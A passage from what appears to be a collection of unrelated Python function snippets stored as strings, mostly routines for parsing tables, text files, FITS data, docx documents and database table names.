# extract only the first cell\n my_lineIN_list.append(this_line)\n else:\n # The table itself is between 2 blank lines\n if len(my_lineIN_list) != 0:\n break\n\n # Make the text line compatible with CSV syntax\n line_idx = 0\n while line_idx < len(my_lineIN_list):\n this_line = my_lineIN_list[line_idx]\n this_delimiter_count = this_line.count('\\t')\n\n if DEBUG_1: print header, '%3d: 2000, this_line\\t(%s)'%(line_idx, this_line)\n if DEBUG_1A and 'Time bus' in this_line: print header_1A, '%3d: 2000, this_line\\t(%s)'%(line_idx, this_line)\n\n if this_line.startswith(header_of_the_table):\n # header of the table\n delimiter_count = this_delimiter_count\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\n my_lineOUT_list.append(this_line)\n\n else:\n # Get one or more line until enough cells: \n if DEBUG_1A and 'Time bus' in this_line: print header_1A, '%3d: 2400, this_line\\t(%s)'%(line_idx, this_line)\n\n while this_line.count('\\t') < delimiter_count:\n if DEBUG_1A and 'Time bus' in this_line: print header_1A, '%3d: 3000, this_line\\t(%s)'%(line_idx, this_line)\n # append next line\n if line_idx+1 < len(my_lineIN_list):\n line_idx += 1\n this_line += ' ' + my_lineIN_list[line_idx]\n if DEBUG_1: print header, '%3d: 3000, this_line\\t(%s)'%(line_idx, this_line)\n if DEBUG_1A and 'Time bus' in this_line: print header_1A, '%3d: 4000, this_line\\t(%s)'%(line_idx, this_line)\n else:\n break\n\n # Has enough cells: append one or more line if these line has no tab except \n # the line start with a specific text\n while line_idx+1 < len(my_lineIN_list) and not '\\t' in my_lineIN_list[line_idx+1]:\n if any (z in my_lineIN_list[line_idx+1] for z in cell0_without_tab_list):\n break\n else:\n line_idx += 1\n this_line += ' ' + my_lineIN_list[line_idx]\n if DEBUG_1: print header, '%3d: 4000, this_line\\t(%s)'%(line_idx, this_line)\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\n my_lineOUT_list.append(this_line)\n line_idx += 1\n\n #if DEBUG_1: pp(my_lineOUT_list)\n if DEBUG_1: \n for str2 in my_lineOUT_list:\n if DEBUG_1: print header, 'str2(%r)'%(str2)\n\n return my_lineOUT_list","def makeTableNamesList(n, ):","def idat(file_map):\r\n match_list = []\r\n png_header = re.compile(b'(?s)\\x89\\x50\\x4e\\x47')\r\n png_idat = re.compile(b'(?s)(\\x49\\x44\\x41\\x54.{80})')\r\n for match in png_header.finditer(file_map):\r\n end = match.end()\r\n match_list.append(png_idat.search(file_map, end).group())\r\n return match_list","def __load_handler(self):\n with open(self.path) as file:\n for line in file:\n if line.startswith(\"\"\"# TABLE: \"\"\"):\n self.columndefinition = (line.strip('\\n')\n .replace(\"\"\"# TABLE: \"\"\", ''))\n self.tablename = self.name.replace('.', '_')\n self.tablename = self.tablename.replace('-', '_')\n self.md5_tablename = (hashlib.md5(self.tablename)\n .hexdigest()[:30])\n for columnelement in self.columndefinition.split(','):\n column = columnelement.split(':')[0].strip()\n self.columnnames.append(column)\n\n self.is_mime_handler = True","def create_lookup_tables(text):\n vocab = set(text.split())\n vocab_to_int = copy.copy(CODES)\n\n for v_i, v in enumerate(vocab, len(CODES)):\n vocab_to_int[v] = v_i\n\n int_to_vocab = {v_i: v for v, v_i in vocab_to_int.items()}\n\n return vocab_to_int, int_to_vocab","def load_source_table():\n src_file = os.path.join(data.Paths.arclines, 'sources', 'arcline_sources.ascii')\n # Load\n sources = Table.read(src_file, format='ascii.fixed_width', comment='#')\n # Return\n return sources","def myhtable_create_index(files):\n res_buckets = htable(4011)\n for id, file in enumerate(files):\n if file[-4:] == '.txt':\n word_list = words(get_text(file))\n for word in word_list:\n value = htable_get(res_buckets, word)\n if value == None:\n htable_put(res_buckets, word, {id})\n else:\n value.add(id)\n htable_put(res_buckets, word, value)\n return res_buckets","def gettables(self, data):\n tables = defaultdict(list) # Map database names with its tables\n current_database = None\n status = 'find_log_line'\n list_found = False\n for line in data.splitlines():\n if status == 'find_log_line':\n # Look for the correct log line to start searching databases\n if self._is_tables_log_line(line):\n # Correct line, change status\n status = 'find_dbname'\n elif self._is_log_and_startswith('', line) and list_found:\n # If another log line is reached, stop looking\n break\n elif status == 'find_dbname':\n database = self._match_start_get_remaining('Database: ', line)\n if database is not None:\n current_database = database\n list_found = True\n status = 'find_list_start'\n elif status == 'find_list_start':\n # Find +--------------+ line\n if re.match(r'^\\+\\-+\\+$', line):\n # Line found\n status = 'find_tables'\n elif status == 'find_tables':\n if line.startswith('|') and line.endswith('|'):\n table = line[1:-1].strip()\n tables[current_database].append(table)\n elif re.match(r'^\\+\\-+\\+$', line):\n # Table list for this db ended\n status = 'find_dbname'\n else:\n raise RuntimeError('unknown status')\n return tables","def extract_table_2(first_line_idx, lineIN_list): \n DEBUG_2 = False\n if DEBUG_2: header = '>>>DEBUG_2:\\t'\n if DEBUG_2: print header, 'first_line_idx', first_line_idx \n if DEBUG_2: from pprint import pprint as pp\n my_lineOUT_list = []\n my_lineIN_list = []\n\n #OBS header_of_the_table = 'Parameter'\n cell0_without_tab_list = [\n 'Endurance',\n ]\n tab_within_cell_list = [\n ]\n\n for line_idx in range(first_line_idx+1, len(lineIN_list) ):\n\n this_line = lineIN_list[line_idx].rstrip('\\n') # strip EOL only, not other whtite space\n\n #TMP if DEBUG_2: print\n #TMP if DEBUG_2: print header, '%3d: 1000, this_line\\t(%s)'%(line_idx, this_line)\n #TMP if DEBUG_2: print header, '%3d: len(this_line)\\t(%s)'%(line_idx, len(this_line))\n #TMP if DEBUG_2: print header, '%3d: len(my_lineIN_list)\\t(%s)'%(line_idx, len(my_lineIN_list))\n\n # Fix unwantted tab in original PDF file: replace unwanted tab into a space\n for tmp_str in tab_within_cell_list:\n this_line = this_line.replace('%s\\t'%(tmp_str), '%s '%(tmp_str), 1)\n\n if len(this_line) != 0:\n try:\n header_of_the_table \n except NameError:\n header_of_the_table = re.sub('\\t.*', '', this_line) # extract only the first cell\n my_lineIN_list.append(this_line)\n else:\n # The table itself is between 2 blank lines\n if len(my_lineIN_list) != 0:\n break \n\n # Make the text line compatible with CSV syntax\n line_idx = 0\n while line_idx < len(my_lineIN_list):\n this_line = my_lineIN_list[line_idx]\n this_delimiter_count = this_line.count('\\t')\n\n if DEBUG_2: print header, '%3d: 2000, this_line\\t(%s)'%(line_idx, this_line)\n\n if this_line.startswith(header_of_the_table):\n # header of the table\n delimiter_count = this_delimiter_count\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\n my_lineOUT_list.append(this_line)\n\n else:\n # Get one or more line until enough cells: \n\n while this_line.count('\\t') < delimiter_count:\n # append next line\n if line_idx+1 < len(my_lineIN_list):\n line_idx += 1\n this_line += ' ' + my_lineIN_list[line_idx]\n if DEBUG_2: print header, '%3d: 3000, this_line\\t(%s)'%(line_idx, this_line)\n else:\n break\n\n # Has enough cells: append one or more line if these line has no tab except \n # the line start with a specific text\n while line_idx+1 < len(my_lineIN_list) and not '\\t' in my_lineIN_list[line_idx+1]:\n if any (my_lineIN_list[line_idx+1].startswith(z) for z in cell0_without_tab_list):\n break\n else:\n line_idx += 1\n this_line += ' ' + my_lineIN_list[line_idx]\n if DEBUG_2: print header, '%3d: 4000, this_line\\t(%s)'%(line_idx, this_line)\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\n my_lineOUT_list.append(this_line)\n line_idx += 1\n\n #if DEBUG_2: pp(my_lineOUT_list)\n if DEBUG_2: \n for str2 in my_lineOUT_list: print header, 'str2(%r)'%(str2)\n return my_lineOUT_list","def parse_trflp(lines):\r\n\r\n sample_ids = []\r\n otu_ids = []\r\n data = []\r\n non_alphanum_mask = re.compile('[^\\w|^\\t]')\r\n # not sure why the above regex doesn't cover the following regex...\r\n dash_space_mask = re.compile('[_ -]')\r\n\r\n for i, line in enumerate(lines):\r\n elements = line.strip('\\n').split('\\t')\r\n\r\n # special handling for the first line only\r\n if i == 0:\r\n # validating if the file has a header\r\n if elements[0] == '':\r\n for otu_id in elements[1:]:\r\n otu_ids.append(non_alphanum_mask.sub('_', otu_id))\r\n continue\r\n else:\r\n for j, otu_id in enumerate(elements[1:]):\r\n otu_ids.append(non_alphanum_mask.sub('_', 'Bin%3d' % j))\r\n\r\n # handling of all other lines\r\n current_row = []\r\n\r\n # converting each value in the row to int\r\n for count in elements[1:]:\r\n try:\r\n current_row.append(int(round(float(count), 0)))\r\n except ValueError:\r\n current_row.append(0)\r\n\r\n # if the sum of all the values is equial to 0 ignore line\r\n if sum(current_row) == 0:\r\n continue\r\n\r\n # adding sample header to list\r\n sample_ids.append(non_alphanum_mask.sub('.',\r\n dash_space_mask.sub('.', elements[0])))\r\n\r\n # validating the size of the headers to add missing columns\r\n # this is only valid when there is no header\r\n if len(current_row) > len(otu_ids):\r\n # modify header data\r\n extra_cols = []\r\n for j in range(len(otu_ids), len(current_row)):\r\n extra_cols.append(non_alphanum_mask.sub('_', 'Bin%3d' % j))\r\n # modify data\r\n for j in range(len(data)):\r\n data[j].extend([0] * (len(current_row) - len(otu_ids)))\r\n\r\n otu_ids.extend(extra_cols)\r\n elif len(current_row) < len(otu_ids):\r\n # modify data\r\n current_row.extend([0] * (len(otu_ids) - len(current_row)))\r\n\r\n data.append(current_row)\r\n\r\n return sample_ids, otu_ids, asarray(data).transpose()","def hdrtxt(cls):\n\n return ('Itn',) + cls.hdrtxt_objfn + ('Rsdl', 'F', 'Q', 'It_Bt', 'L')","def get_sections(self, elf_file_path):\n section_names = []\n try:\n output = subprocess.check_output([self.readelf_path, '-SW', elf_file_path])\n output = bytes_to_str(output)\n for line in output.split('\\n'):\n # Parse line like:\" [ 1] .note.android.ident NOTE 0000000000400190 ...\".\n result = re.search(r'^\\s+\\[\\s*\\d+\\]\\s(.+?)\\s', line)\n if result:\n section_name = result.group(1).strip()\n if section_name:\n section_names.append(section_name)\n except subprocess.CalledProcessError:\n pass\n return section_names","def read_cxc_targetnames():\n\n targets = {}\n\n \"\"\"\n with open(\"cxc_obsid_targetname.lis\") as fh:\n header = True\n for l in fh.readlines():\n if l.startswith(\"#\"):\n continue\n\n if header:\n assert l == \"obsid\\ttarget_name\\n\", f\"<{l}>\"\n header = False\n continue\n\n l = l.strip()\n if l == \"\":\n continue\n\n toks = l.split(\"\\t\")\n assert len(toks) == 2\n\n obsid = int(toks[0])\n assert obsid not in targets\n targets[obsid] = toks[1]\n \"\"\"\n\n with open(\"obsid-targets.tsv\") as fh:\n for l in fh.readlines():\n if l.startswith(\"#\"):\n continue\n\n l = l.strip()\n if l == \"\":\n continue\n\n toks = l.split(\"\\t\")\n assert len(toks) == 2\n\n obsid = int(toks[0])\n assert obsid not in targets\n targets[obsid] = toks[1]\n\n return targets","def extract_table_3(first_line_idx, lineIN_list): \n DEBUG_3 = False\n if DEBUG_3: header = '>>>DEBUG_3:\\t'\n if DEBUG_3: print header, 'first_line_idx', first_line_idx \n if DEBUG_3: from pprint import pprint as pp\n my_lineOUT_list = []\n my_lineIN_list = []\n\n cell0_without_tab_list = [\n ]\n tab_within_cell_list = [\n ]\n\n for line_idx in range(first_line_idx+1, len(lineIN_list) ):\n this_line = lineIN_list[line_idx].rstrip('\\n') # strip EOL only, not other whtite space\n\n # Fix unwantted tab in original PDF file: replace unwanted tab into a space\n for tmp_str in tab_within_cell_list:\n this_line = this_line.replace('%s\\t'%(tmp_str), '%s '%(tmp_str), 1)\n\n if len(this_line) != 0:\n try:\n header_of_the_table \n except NameError:\n header_of_the_table = re.sub('\\t.*', '', this_line) # extract only the first cell\n my_lineIN_list.append(this_line)\n else:\n # The table itself is between 2 blank lines\n if len(my_lineIN_list) != 0:\n break\n\n # Make the text line compatible with CSV syntax\n line_idx = 0\n while line_idx < len(my_lineIN_list):\n this_line = my_lineIN_list[line_idx]\n this_delimiter_count = this_line.count('\\t')\n\n if DEBUG_3: print header, '%3d: 2000, this_line\\t(%s)'%(line_idx, this_line)\n\n if this_line.startswith(header_of_the_table):\n # header of the table\n delimiter_count = this_delimiter_count\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\n my_lineOUT_list.append(this_line)\n\n else:\n # Get one or more line until enough cells: \n while this_line.count('\\t') < delimiter_count:\n # append next line\n if line_idx+1 < len(my_lineIN_list):\n line_idx += 1\n this_line += ' ' + my_lineIN_list[line_idx]\n if DEBUG_3: print header, '%3d: 3000, this_line\\t(%s)'%(line_idx, this_line)\n else:\n break\n\n # Has enough cells: append one or more line if these line has no tab except \n # the line start with a specific text\n while line_idx+1 < len(my_lineIN_list) and not '\\t' in my_lineIN_list[line_idx+1]:\n if any (my_lineIN_list[line_idx+1].startswith(z) for z in cell0_without_tab_list):\n break\n else:\n line_idx += 1\n this_line += ' ' + my_lineIN_list[line_idx]\n if DEBUG_3: print header, '%3d: 4000, this_line\\t(%s)'%(line_idx, this_line)\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\n my_lineOUT_list.append(this_line)\n line_idx += 1\n\n if DEBUG_3:\n for str2 in my_lineOUT_list: print header, 'str2(%r)'%(str2)\n return my_lineOUT_list","def load_staging_tables_docstring(cur, conn):","def test_tabledump(self):\n datastr = (\n '\" 1\" \"abc\" \" 3.70000007152557\" \" 0\"\\n'\n '\" 2\" \"xy \" \" 6.69999971389771\" \" 1\"\\n'\n )\n cdstr = (\n 'c1 1J I11 \"\" \"\"'\n ' -2147483647 \"\" \"\" \\n'\n 'c2 3A A3 \"\" \"\"'\n ' \"\" \"\" \"\" \\n'\n 'c3 1E G15.7 \"\" \"\"'\n ' \"\" 3 0.4 \\n'\n 'c4 1L L6 \"\" \"\"'\n ' \"\" \"\" \"\" \\n'\n )\n # copy fits file to the temp directory\n self.copy_file(\"tb.fits\")\n\n # test without datafile\n fits.tabledump(self.temp(\"tb.fits\"))\n assert os.path.isfile(self.temp(\"tb_1.txt\"))\n\n # test with datafile\n fits.tabledump(self.temp(\"tb.fits\"), datafile=self.temp(\"test_tb.txt\"))\n assert os.path.isfile(self.temp(\"test_tb.txt\"))\n\n # test with datafile and cdfile\n datafile = self.temp(\"data.txt\")\n cdfile = self.temp(\"coldefs.txt\")\n fits.tabledump(self.temp(\"tb.fits\"), datafile, cdfile)\n assert os.path.isfile(datafile)\n with open(datafile) as data:\n assert data.read() == datastr\n with open(cdfile) as coldefs:\n assert coldefs.read() == cdstr","def isccp4table(self, text):\n #\n # See e.g. http://www.ccp4.ac.uk/dist/html/loggraphformat.html\n # for format of TABLES\n #\n # Note that this regular expression accommodates slight deviations\n # by making the \"closing\" \":\" of the $TABLE line optional.\n # This is done for consistency with loggraph's behaviour.\n #\n # Set up regular expression for entire table\n # This is the \"strict\" form of the table\n table = self.compile(\n \"isccp4table\",\n r\" *\\$TABLE ?:([^:]*):?[ \\n]+\\$(GRAPHS|SCATTER)[^:]*(:[^\\$]*)\\$\\$([^\\$]*)\\$\\$([^\\$]*)\\$\\$([^\\$]*)\\$\\$\",\n ).search(text)\n result = dict()\n if table:\n result[\"rawtable\"] = table.group(0)\n result[\"title\"] = table.group(1).strip()\n result[\"type\"] = table.group(2).strip()\n result[\"graphs\"] = table.group(3)\n result[\"columns\"] = table.group(4)\n result[\"text\"] = table.group(5)\n result[\"data\"] = table.group(6)\n result[\"nlines\"] = table.group(0).count(\"\\n\")\n return result\n # If there wasn't a match then try a simpler match\n # This relaxes some of the rules in the format definintion\n table = self.compile(\n \"isccp4simplertable\",\n r\" *\\$TABLE ?:([^\\n]*)\\n+\\$(GRAPHS|SCATTER)[^:]*(:[^\\$]*)\\$\\$([^\\$]*)\\$\\$([^\\$]*)\\$\\$([^\\$]*)\\$\\$\",\n ).search(text)\n if table:\n result[\"rawtable\"] = table.group(0)\n result[\"title\"] = table.group(1).strip()\n result[\"type\"] = table.group(2).strip()\n result[\"graphs\"] = table.group(3)\n result[\"columns\"] = table.group(4)\n result[\"text\"] = table.group(5)\n result[\"data\"] = table.group(6)\n result[\"nlines\"] = table.group(0).count(\"\\n\")\n return result\n return result","def extract_data_from_txt(filename: str) -> any:\r\n # List[Dict[str, List[int]]]\r\n ce_file = open(filename, 'r')\r\n ce_text = ce_file.read()\r\n ce_structure_pattern = re.compile(r\"\"\"\r\n \\n(\\w+)\\n # the line with the country name \r\n \\s+Total\\s.*\\n # the line start with at least 1 spaces and \"Total Fossil-Fuel\"\r\n Year\\s+.*\\n\\n # the line start with \"Year Emissions\"\r\n ((\\d+\\s+\\d+\\s+.*\\n)+) # the lines with actual data\r\n \"\"\", re.VERBOSE | re.MULTILINE)\r\n ce_line_pattern = re.compile(r\"\"\"\r\n (\\d+) # year number\r\n \\s+ # the space between year number and Total Fossil-Fuel Emissions data \r\n (\\d+) # the Total Fossil-Fuel Emissions data\r\n \\s+ # the spaces after Total Fossil-Fuel Emissions\r\n .*\\n # the rest of the line\r\n \"\"\", re.VERBOSE)\r\n countries = ce_structure_pattern.findall(ce_text)\r\n\r\n data = [process_row_c(country_data, ce_line_pattern) for country_data in countries]\r\n return data","def create_lookup_tables(text):\n # todo 需要编程：\n words = sorted(list(set(text)))\n vocab_to_int = {word:idx for idx, word in enumerate(words)}\n int_to_vocab = dict(enumerate(words))\n return vocab_to_int, int_to_vocab","def get_mapping_table_ids():\n #\n aliquot_prefix = get_prefix(API_PARAMS, API_PARAMS['ALIQUOT_ENDPOINT'])\n case_aliquot_table_name = construct_table_name(API_PARAMS, prefix=aliquot_prefix)\n case_aliquot_table_id = f\"{BQ_PARAMS['DEV_PROJECT']}.{BQ_PARAMS['META_DATASET']}.{case_aliquot_table_name}\"\n\n study_table_name = construct_table_name(API_PARAMS, prefix=get_prefix(API_PARAMS, API_PARAMS['STUDY_ENDPOINT']))\n study_table_id = f\"{BQ_PARAMS['DEV_PROJECT']}.{BQ_PARAMS['META_DATASET']}.{study_table_name}\"\n\n case_external_mapping_prefix = get_prefix(API_PARAMS, API_PARAMS['CASE_EXTERNAL_MAP_ENDPOINT'])\n case_ext_map_table_name = construct_table_name(API_PARAMS, prefix=case_external_mapping_prefix)\n case_external_mapping_table_id = f\"{BQ_PARAMS['DEV_PROJECT']}.{BQ_PARAMS['META_DATASET']}.{case_ext_map_table_name}\"\n\n return case_aliquot_table_id, study_table_id, case_external_mapping_table_id","def parse_file(file):\n for line in open(file,'r'):\n line = line.strip()\n token = line.split('\\t')\n ### loop through ids in second column and print with first columns \n for item in token[1].split(','):\n print item+'\\t'+token[0]","def parse_docs(filename):\n \n # open word doc\n word = win32.gencache.EnsureDispatch('Word.Application')\n doc = word.Documents.Open(os.getcwd() + '/' + filename + \".doc\")\n doc.Activate()\n \n # read word doc as list of lists\n data = [doc.Tables(i).Range.Text for i in range(1,5)]\n data = ''.join(data)\n data = data.replace('\\r\\x07\\r\\x07', ', ')\n data = data.replace('\\r\\x07', ', ')\n data = data.split(\", \")\n \n # separate columns into lists\n varname = data[0::4]\n description = data[1::4]\n valuelineref = data[2::4]\n type = data[3::4]\n\n # create pandas dataframe and clean up\n df = pd.DataFrame(list(zip(varname, description, valuelineref, type)))\n doc.Close(True) # is this a function?\n headers = df.iloc[0]\n df = df[1:]\n df.columns = headers\n df['Variable Name'] = df['Variable Name'].str.replace('\\r','')\n \n # store as csv\n df.to_csv(filename + '.csv', index = False)\n return df","def _get_table_sql(object_id, tab_name, columns=[], rerun='s16a_wide2', save_sql=False, fn_sql='hsc_sql.txt', ):\n\tlocalpath = _get_local_path()\n\n\tfn = localpath + fn_table_template_sql\n\tsql_columns = _get_table_sql_columns(columns=columns)\n\n\twith open(fn, 'r') as f:\n\t\tsql_template = f.read()\n\tsql = sql_template.format(object_id=object_id, tab_name=tab_name, sql_columns=sql_columns, rerun=rerun, )\n\n\tif save_sql:\n\t\twith open(fn_sql, \"w\") as text_file:\n\t\t\ttext_file.write(sql)\n\n\treturn sql","def _extract_file_entity_metadata(syn, allFiles):\n keys = list(DEFAULT_GENERATED_MANIFEST_KEYS)\n annotKeys = set()\n data = []\n for entity in allFiles:\n row = {'parent': entity['parentId'], 'path': entity.get(\"path\"), 'name': entity.name,\n 'synapseStore': entity.synapseStore, 'contentType': entity['contentType']}\n row.update({key: (val[0] if len(val) > 0 else \"\") for key, val in entity.annotations.items()})\n\n row.update(_get_file_entity_provenance_dict(syn, entity))\n\n annotKeys.update(set(entity.annotations.keys()))\n\n data.append(row)\n keys.extend(annotKeys)\n return keys, data","def display_content_hashtable(self):\n\n file = open(\"../util/HashTable File\", \"r+\")\n file.truncate(0)\n file.close()\n for i in range(0, len(self.objects_list)):\n\n if self.objects_list[i].display_content() != None:\n lines = []\n lines = self.objects_list[i].display_content()\n file = open(\"../util/HashTable File\", \"a+\")\n for j in lines:\n file.write(str(j) + ' ')\n\n file.close()\n\n file = open(\"../util/HashTable File\", \"r\")\n for i in file:\n print(i)","def read_docx_tables(filename, tab_id=None, **kwargs):\n def read_docx_tab(tab, **kwargs):\n vf = io.StringIO()\n writer = csv.writer(vf)\n for row in tab.rows:\n writer.writerow(cell.text for cell in row.cells)\n vf.seek(0)\n return pd.read_csv(vf, **kwargs)\n\n doc = Document(filename)\n if tab_id is None:\n return [read_docx_tab(tab, **kwargs) for tab in doc.tables]\n else:\n try:\n return read_docx_tab(doc.tables[tab_id], **kwargs)\n except IndexError:\n print('Error: specified [tab_id]: {} does not exist.'.format(tab_id))\n raise","def tables() -> dict[str, str]:\n return {\n \"land_use\": \"zone_id\",\n \"tours\": \"tour_id\",\n \"trips\": \"trip_id\",\n \"persons\": \"person_id\",\n \"households\": \"household_id\",\n }","def getModeLookupTable(self):\n mode_table = []\n header = None\n for line in open(PublicTransit.MODE_LOOKUP_FILE_NAME):\n line = line.strip()\n if len(line) == 0: \n continue\n line = map(str.strip,line.split(\",\"))\n if header is None:\n header = line\n #CPT_AGENCYID\tAGENCYNAME\tCPT_MODE\tSCH_ROUTEDESIGNATOR\tMODECODE\tMODEGROUP\n continue\n data = {}\n for i in range(len(line)):\n data[header[i]] = line[i]\n mode_table.append(data)\n return mode_table","def getColumnIndices(*args, filepath=\"CO2.tab\"):\n # idxDict = {\"PT\": 0, \"TM\": 0, \"HG\": 0, \"SEG\": 0}\n idxDict = {\"PT\": 0, \"TM\": 0, \"HG\": 0, \"VISG\": 0, \"VISHL\": 0, \"ROG\": 0, \"ROHL\": 0}\n if filepath:\n cols = tabLineToList(readFullLine(filepath, 52))\n for key in idxDict:\n idxDict[key] = cols.index(key)\n return idxDict","def loadTextEx(self, dbPath:str, tableName:str, partitionColumns:Optional[List[str]]=None, remoteFilePath:str=None, delimiter:str=\",\") -> Type[\"Table\"]:\n if partitionColumns is None:\n partitionColumns = []\n isDBPath = True\n if \"/\" in dbPath or \"\\\\\" in dbPath or \"dfs://\" in dbPath:\n dbstr ='db=database(\"' + dbPath + '\")'\n self.run(dbstr)\n tbl_str = '{tableNameNEW} = loadTextEx(db, \"{tableName}\", {partitionColumns}, \"{remoteFilePath}\", {delimiter})'\n else:\n isDBPath = False\n tbl_str = '{tableNameNEW} = loadTextEx('+dbPath+', \"{tableName}\", {partitionColumns}, \"{remoteFilePath}\", {delimiter})'\n fmtDict = dict()\n fmtDict['tableNameNEW'] = _generate_tablename()\n fmtDict['tableName'] = tableName\n fmtDict['partitionColumns'] = str(partitionColumns)\n fmtDict['remoteFilePath'] = remoteFilePath if remoteFilePath is not None else \"\"\n fmtDict['delimiter'] = delimiter\n # tbl_str = tableName+'=loadTextEx(db,\"' + tableName + '\",'+ str(partitionColumns) +',\"'+ remoteFilePath+\"\\\",'\"+delimiter+\"')\"\n tbl_str = re.sub(' +', ' ', tbl_str.format(**fmtDict).strip())\n self.run(tbl_str)\n if isDBPath:\n return Table(data=fmtDict['tableName'] , dbPath=dbPath, s=self)\n else:\n return Table(data=fmtDict['tableNameNEW'], s=self)","def get_mapping_table_ids():\n dev_meta_dataset = f\"{BQ_PARAMS['DEV_PROJECT']}.{BQ_PARAMS['META_DATASET']}\"\n prod_meta_dataset = f\"{BQ_PARAMS['PROD_PROJECT']}.{BQ_PARAMS['PUBLIC_META_DATASET']}\"\n\n file_metadata_table_name = f\"{BQ_PARAMS['FILE_METADATA_TABLE']}_{API_PARAMS['RELEASE']}\"\n file_metadata_table_id = f\"{prod_meta_dataset}.{file_metadata_table_name}\"\n\n case_metadata_table_name = f\"{BQ_PARAMS['CASE_METADATA_TABLE']}_{API_PARAMS['RELEASE']}\"\n case_metadata_table_id = f\"{prod_meta_dataset}.{case_metadata_table_name}\"\n\n file_assoc_table_name = f\"{BQ_PARAMS['FILE_ASSOC_MAPPING_TABLE']}_{API_PARAMS['RELEASE']}\"\n file_assoc_table_id = f\"{prod_meta_dataset}.{file_assoc_table_name}\"\n\n aliquot_table_name = f\"{BQ_PARAMS['ALIQUOT_TO_CASE_TABLE']}_{API_PARAMS['RELEASE']}\"\n aliquot_table_id = f\"{prod_meta_dataset}.{aliquot_table_name}\"\n\n # todo switch to published table\n study_table_name = construct_table_name(API_PARAMS, prefix=get_prefix(API_PARAMS, 'allPrograms'))\n study_table_id = f\"{dev_meta_dataset}.{study_table_name}\"\n\n return file_metadata_table_id, case_metadata_table_id, file_assoc_table_id, aliquot_table_id, study_table_id","def get_mapping():\n \n import pandas as pd\n data = pd.read_csv('/home/yuheng/Downloads/ADE20K_2016_07_26/objectInfo150.txt',sep='\\t',lineterminator='\\n') \n mapping = {}\n for i in range(150):\n line = data.loc[i]\n mapping[ int(line['Idx']) ] = line['Name']\n \n return mapping","def linenames():\n linenamesdic = {}\n\n linenamesdic['ovi1'] = ['OVI $\\\\lambda$1032' , 1031.9261, 'right' , 'Morton1991tab2']\n linenamesdic['ovi2'] = ['OVI $\\\\lambda$1038' , 1037.6167, 'left' , 'Morton1991tab2']\n linenamesdic['lyb'] = ['Ly$\\\\beta$ $\\\\lambda$1025' , 1025.7219, 'right' , 'Morton1991tab5']\n linenamesdic['lya'] = ['Ly$\\\\alpha$ $\\\\lambda$1216' , 1215.6737, 'right' , 'Morton1991tab5']\n linenamesdic[ 'NV1240'] = ['NV $\\\\lambda$1239' , 1238.821 , 'right' , 'Morton1991tab5']\n linenamesdic['nv2'] = ['NV $\\\\lambda$1243' , 1242.804 , 'left' , 'Morton1991tab5']\n linenamesdic['cii'] = ['CII $\\\\lambda$1336' , 1335.6627, 'right' , 'Morton1991tab5']\n linenamesdic['Siiv1'] = ['SiIV $\\\\lambda$1394' , 1393.755 , 'right' , 'Morton1991tab5']\n linenamesdic['oiv1'] = ['OIV $\\\\lambda$1397' , 1397.232 , 'right' , 'Morton1991tab5']\n linenamesdic['oiv2'] = ['OIV $\\\\lambda$1400' , 1399.780 , 'left' , 'Morton1991tab5']\n linenamesdic['Siiv2'] = ['SiIV $\\\\lambda$1403' , 1402.770 , 'left' , 'Morton1991tab5']\n linenamesdic['CIV1548'] = ['CIV $\\\\lambda$1548' , 1548.195 , 'right' , 'Morton1991tab5']\n linenamesdic['CIV1551'] = ['CIV $\\\\lambda$1551' , 1550.770 , 'left' , 'Morton1991tab5']\n linenamesdic['HeII1640'] = ['HeII $\\\\lambda$1640' , 1640.420 , 'right' , 'vandenberk+2001']\n linenamesdic['OIII1661'] = ['OIII] $\\\\lambda$1661' , 1660.809 , 'right' , 'Morton1991tab2']\n linenamesdic['OIII1666'] = ['OIII] $\\\\lambda$1666' , 1666.150 , 'left' , 'Morton1991tab2']\n linenamesdic['ciii1'] = ['[CIII] $\\\\lambda$1907' , 1907. , 'right' , 'stark+2015']\n linenamesdic['CIII1908'] = ['CIII] $\\\\lambda$1909' , 1909. , 'left' , 'stark+2015']\n linenamesdic['ciib'] = ['CII] $\\\\lambda$2326' , 2326.113 , 'right' , 'Morton1991tab5']\n linenamesdic['mgii1'] = ['MgII] $\\\\lambda$2796' , 2795.528 , 'right' , 'Morton1991tab5']\n linenamesdic['mgii2'] = ['MgII] $\\\\lambda$2803' , 2802.705 , 'left' , 'Morton1991tab5']\n linenamesdic['OII3727'] = ['[OII] $\\\\lambda$3726' , 3726. , 'right' , 'Pradhan2006']\n linenamesdic['oii2'] = ['[OII] $\\\\lambda$3729' , 3729. , 'left' , 'Pradhan2006']\n\n return linenamesdic","def tables(self):\n if self.table is None:\n raise GiraffeError(\"Target table has not been set.\")\n return [\n \"{}_wt\".format(self.table),\n \"{}_log\".format(self.table),\n \"{}_e1\".format(self.table),\n \"{}_e2\".format(self.table),\n ]","def _read_table(hdulist, extname, **kwargs):\n t = _read_ext(Table, hdulist, extname, **kwargs)\n h = hdulist[extname].header\n for i in range(h['TFIELDS']):\n try:\n t.columns[i].unit = h['TUNIT%d' % (i + 1)]\n except Exception:\n pass\n return t","def _get_references_data(wit_path):\n\n with open(os.path.join(wit_path, '.wit', 'references.txt'), 'r') as data:\n info = {'None': 'None'}\n info.update({'HEAD': data.readline().split('=')[-1].strip('\\n')})\n info.update({'master': data.readline().split('=')[-1].strip('\\n')})\n for row in data.readlines():\n name, commit_id = row.split('=')\n info.update({name.strip('\\n'): commit_id.strip('\\n')})\n\n return info","def extractData():\n for line in src:\n line = str(line) # now each line is a string\n line = line.rstrip()\n if '%%' in line: #header\n yield line\n for desired in desStr:\n if desired in line:\n yield line","def read_table(file, **kwargs):\n extn = Reader.get_extension(file).lower()\n if extn.startswith('.xls'):\n return 